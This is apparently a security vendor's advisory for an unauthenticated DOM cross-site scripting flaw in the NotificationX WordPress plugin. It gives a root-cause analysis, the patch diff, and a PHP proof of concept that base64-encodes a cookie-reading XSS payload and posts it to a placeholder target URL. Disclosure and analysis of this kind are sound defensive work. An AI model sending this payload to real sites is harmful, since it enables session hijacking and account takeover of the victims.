Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15380: NotificationX <= 3.2.0 – Unauthenticated DOM-Based Cross-Site Scripting via 'nx-preview' (notificationx)

Plugin notificationx
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.2.0
Patched Version 3.2.1
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15380:
The NotificationX WordPress plugin version 3.2.0 and earlier contains an unauthenticated DOM-based cross-site scripting (XSS) vulnerability. The vulnerability exists in the preview functionality, allowing attackers to inject arbitrary JavaScript via the ‘nx-preview’ POST parameter. This flaw receives a CVSS score of 7.2 (High) due to its unauthenticated nature and potential for client-side code execution.

The root cause is insufficient input sanitization and output escaping in the `get_settings()` method within the `Preview` class. The vulnerable code path is located in `notificationx/includes/FrontEnd/Preview.php` at lines 336-337. The method directly decodes and parses the `$_POST[‘nx-preview’]` parameter without performing any validation or sanitization. The parameter contains base64-encoded JSON data that the plugin processes and renders directly into the DOM, enabling script injection.

Exploitation occurs when an attacker crafts a malicious web page containing a form that auto-submits to the NotificationX preview endpoint. The attacker sets the `nx-preview` POST parameter to a base64-encoded JSON payload containing JavaScript. When a victim visits the malicious page, their browser automatically submits the form to the vulnerable WordPress site. The plugin processes the payload and renders it unsanitized, executing the attacker’s JavaScript in the context of the victim’s session on the target site.

The patch modifies the `get_settings()` method in `notificationx/includes/FrontEnd/Preview.php`. The updated code adds multiple security checks: it verifies the POST parameter exists, uses `wp_unslash()` to remove slashes, validates the base64 decoding succeeded, ensures the JSON decodes to an array, and applies recursive sanitization using `wp_strip_all_tags()` on all string values. These changes prevent script injection by removing HTML tags from user-supplied data before rendering.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user visiting a malicious page. This can lead to session hijacking, administrative account takeover, content manipulation, or redirection to phishing sites. The attack requires no authentication and can target any WordPress site running the vulnerable plugin version.

Differential between vulnerable and patched code

Code Diff
--- a/notificationx/assets/admin/js/admin.asset.php
+++ b/notificationx/assets/admin/js/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill'), 'version' => '6acffe680a57692052eb');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill'), 'version' => 'e55707f8a8c3fa5c6556');
--- a/notificationx/includes/Admin/DashboardWidget.php
+++ b/notificationx/includes/Admin/DashboardWidget.php
@@ -60,6 +60,9 @@
      * @return void
      */
     public function widget_action(){
+         if( ! current_user_can( 'read_notificationx_analytics' ) ) {
+            return;
+        }
         wp_add_dashboard_widget( self::WIDGET_ID, $this->widget_name, array( $this, 'widget_output' ) );
     }
     /**
--- a/notificationx/includes/Core/Rest/Entries.php
+++ b/notificationx/includes/Core/Rest/Entries.php
@@ -125,6 +125,7 @@
      * @return WP_Error|bool
      */
     public function check_permission( $request ) {
-        return current_user_can( 'edit_posts' );
+        // return current_user_can( 'edit_posts' );
+        return current_user_can( 'edit_notificationx' );
     }
 }
 No newline at end of file
--- a/notificationx/includes/Core/Rest/Popup.php
+++ b/notificationx/includes/Core/Rest/Popup.php
@@ -5,6 +5,7 @@
 use NotificationXGetInstance;
 use NotificationXCorePopupNotification;
 use NotificationXExtensionsPopupPopupNotification as PopupPopupNotification;
+use NotificationXNotificationX;
 use WP_REST_Server;

 /**
@@ -421,31 +422,44 @@
      */
     private function generate_csv_data($entries) {
         $csv_data = [];
+        $is_pro = NotificationX::is_pro();

         // CSV Headers
-        $csv_data[] = [
+       $csv_headers = [
             __('No', 'notificationx'),
             __('Date', 'notificationx'),
             __('NotificationX Title', 'notificationx'),
-            __('Name', 'notificationx'),
-            __('Email Address', 'notificationx'),
-            __('Message', 'notificationx'),
         ];

+        if ($is_pro) {
+            $csv_headers[] = __('Name', 'notificationx');
+            $csv_headers[] = __('Email Address', 'notificationx');
+        }
+
+        $csv_headers[] = __('Message', 'notificationx');
+
+        $csv_data[] = $csv_headers;
+
         // Add data rows
         $counter = 1;
         foreach ($entries as $entry) {
             $data = maybe_unserialize($entry['data']);
             $date = new DateTime($entry['created_at']);

-            $csv_data[] = [
+            $row = [
                 $counter++,
                 $date->format('F j, Y'),
                 $entry['notification_name'] ?: sprintf(__('Notification #%d', 'notificationx'), $entry['nx_id']),
-                $data['name'] ?? '',
-                $data['email'] ?? '',
-                $data['message'] ?? '',
             ];
+
+            if ($is_pro) {
+                $row[] = $data['name'] ?? '';
+                $row[] = $data['email'] ?? '';
+            }
+
+            $row[] = $data['message'] ?? '';
+
+            $csv_data[] = $row;
         }

         // Convert array to CSV string
--- a/notificationx/includes/Extensions/PopupNotification/PopupNotification.php
+++ b/notificationx/includes/Extensions/PopupNotification/PopupNotification.php
@@ -9,6 +9,7 @@
 namespace NotificationXExtensionsPopup;

 use NotificationXAdminInfoTooltipManager;
+use NotificationXCorePostType;
 use NotificationXGetInstance;
 use NotificationXCoreRules;
 use NotificationXExtensionsGlobalFields;
@@ -68,16 +69,7 @@
                 ],
                 'column'  => "5",
             ],
-            'theme-three' => [
-                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-three.png',
-                'defaults' => [
-                    'popup_title'                    => __('All Offers', 'notificationx'),
-                    'popup_button_text'              => __('Latest Offers', 'notificationx'),
-                    'popup_button_icon'              => 'latest_offer.svg',
-                    'position'                       => 'center',
-                ],
-                'column'  => "5",
-            ],
+
             'theme-four' => [
                 'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-four.webp',
                 'defaults' => [
@@ -100,17 +92,6 @@
                 'is_pro' => true,
                 'column'  => "5",
             ],
-            'theme-six' => [
-                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-six.webp',
-                'defaults' => [
-                    'popup_title'             => __('Get latest news & updates', 'notificationx'),
-                    'popup_email_placeholder' => __('Your email address', 'notificationx'),
-                    'popup_button_text'       => __('Submit Now', 'notificationx'),
-                    'position'                => 'center',
-                ],
-                'is_pro' => true,
-                'column'  => "5",
-            ],
             'theme-seven' => [
                 'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-seven.webp',
                 'defaults' => [
@@ -125,6 +106,28 @@
                 'is_pro' => true,
                 'column'  => "5",
             ],
+            'theme-six' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-six.webp',
+                'defaults' => [
+                    'popup_title'             => __('Get latest news & updates', 'notificationx'),
+                    'popup_email_placeholder' => __('Your email address', 'notificationx'),
+                    'popup_button_text'       => __('Submit Now', 'notificationx'),
+                    'position'                => 'center',
+                ],
+                'is_pro' => true,
+                'column'  => "5",
+            ],
+            'theme-three' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-three.png',
+                'defaults' => [
+                    'popup_title'                    => __('All Offers', 'notificationx'),
+                    'popup_button_text'              => __('Latest Offers', 'notificationx'),
+                    'popup_button_icon'              => 'latest_offer.svg',
+                    'position'                       => 'center',
+                ],
+                'column'   => "5",
+            ],
+
         ];
     }

@@ -843,10 +846,19 @@
     public function handle_popup_submission($request) {
         $params = $request->get_params();

+        $id = $params['nx_id'];
+        $notificationx = PostType::get_instance()->get_post( $id );
+        if( !$notificationx ) {
+            return new WP_REST_Response([
+                'success' => false,
+                'message' => __('Notification not found', 'notificationx'),
+            ], 404);
+        }
+
         // Prepare entry data
         $data = [
             'title' => $params['title'] ?: __('Popup Submission', 'notificationx'),
-            'timestamp' => $params['timestamp'] ?: time(),
+            'timestamp' => time(),
         ];

         // Add email if provided
--- a/notificationx/includes/FrontEnd/Preview.php
+++ b/notificationx/includes/FrontEnd/Preview.php
@@ -333,9 +333,25 @@
         return $defaults;
     }

-    public function get_settings(){
-        $settings = base64_decode($_POST['nx-preview']);
-        $settings = json_decode($settings, true);
+    public function get_settings() {
+        if ( empty($_POST['nx-preview']) ) {
+            return array();
+        }
+
+        $settings = base64_decode( wp_unslash($_POST['nx-preview']), true );
+        $settings = json_decode( $settings, true );
+
+        if ( ! is_array($settings) ) {
+            return array();
+        }
+
+        // Simple sanitization
+        array_walk_recursive( $settings, function ( &$value ) {
+            if ( is_string( $value ) ) {
+                $value = wp_strip_all_tags( $value );
+            }
+        });
+
         return $settings;
     }

--- a/notificationx/notificationx.php
+++ b/notificationx/notificationx.php
@@ -3,7 +3,7 @@
  * Plugin Name:       NotificationX
  * Plugin URI:        https://notificationx.com
  * Description:       Social Proof & Recent Sales Popup, Comment Notification, Subscription Notification, Notification Bar and many more.
- * Version:           3.2.0
+ * Version:           3.2.1
  * Author:            WPDeveloper
  * Author URI:        https://wpdeveloper.com
  * License:           GPL-3.0+
@@ -26,7 +26,7 @@
  * Defines CONSTANTS for Whole plugins.
  */
 define( 'NOTIFICATIONX_FILE', __FILE__ );
-define( 'NOTIFICATIONX_VERSION', '3.2.0' );
+define( 'NOTIFICATIONX_VERSION', '3.2.1' );
 define( 'NOTIFICATIONX_URL', plugins_url( '/', __FILE__ ) );
 define( 'NOTIFICATIONX_PATH', plugin_dir_path( __FILE__ ) );
 define( 'NOTIFICATIONX_BASENAME', plugin_basename( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15380 - NotificationX <= 3.2.0 - Unauthenticated DOM-Based Cross-Site Scripting via 'nx-preview'

<?php

$target_url = "https://vulnerable-site.com/"; // CHANGE THIS

// Craft malicious payload with JavaScript alert
$malicious_settings = array(
    'some_field' => '<img src=x onerror=alert(document.cookie)>',
    'another_field' => 'test'
);

// Encode payload as required by vulnerable endpoint
$json_payload = json_encode($malicious_settings);
$base64_payload = base64_encode($json_payload);

// Prepare POST data
$post_data = array(
    'nx-preview' => $base64_payload
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to simulate legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Content-Type: application/x-www-form-urlencoded',
    'Connection: close'
));

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "[+] Payload sent successfully to $target_urln";
    echo "[+] Base64 payload: $base64_payloadn";
    echo "[+] If the site is vulnerable, the JavaScript will execute when this payload is processed.n";
    
    // Check if payload appears in response (indicates processing)
    if (strpos($response, $malicious_settings['some_field']) !== false) {
        echo "[!] WARNING: Payload found in response - site may be vulnerable!n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

// Clean up
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School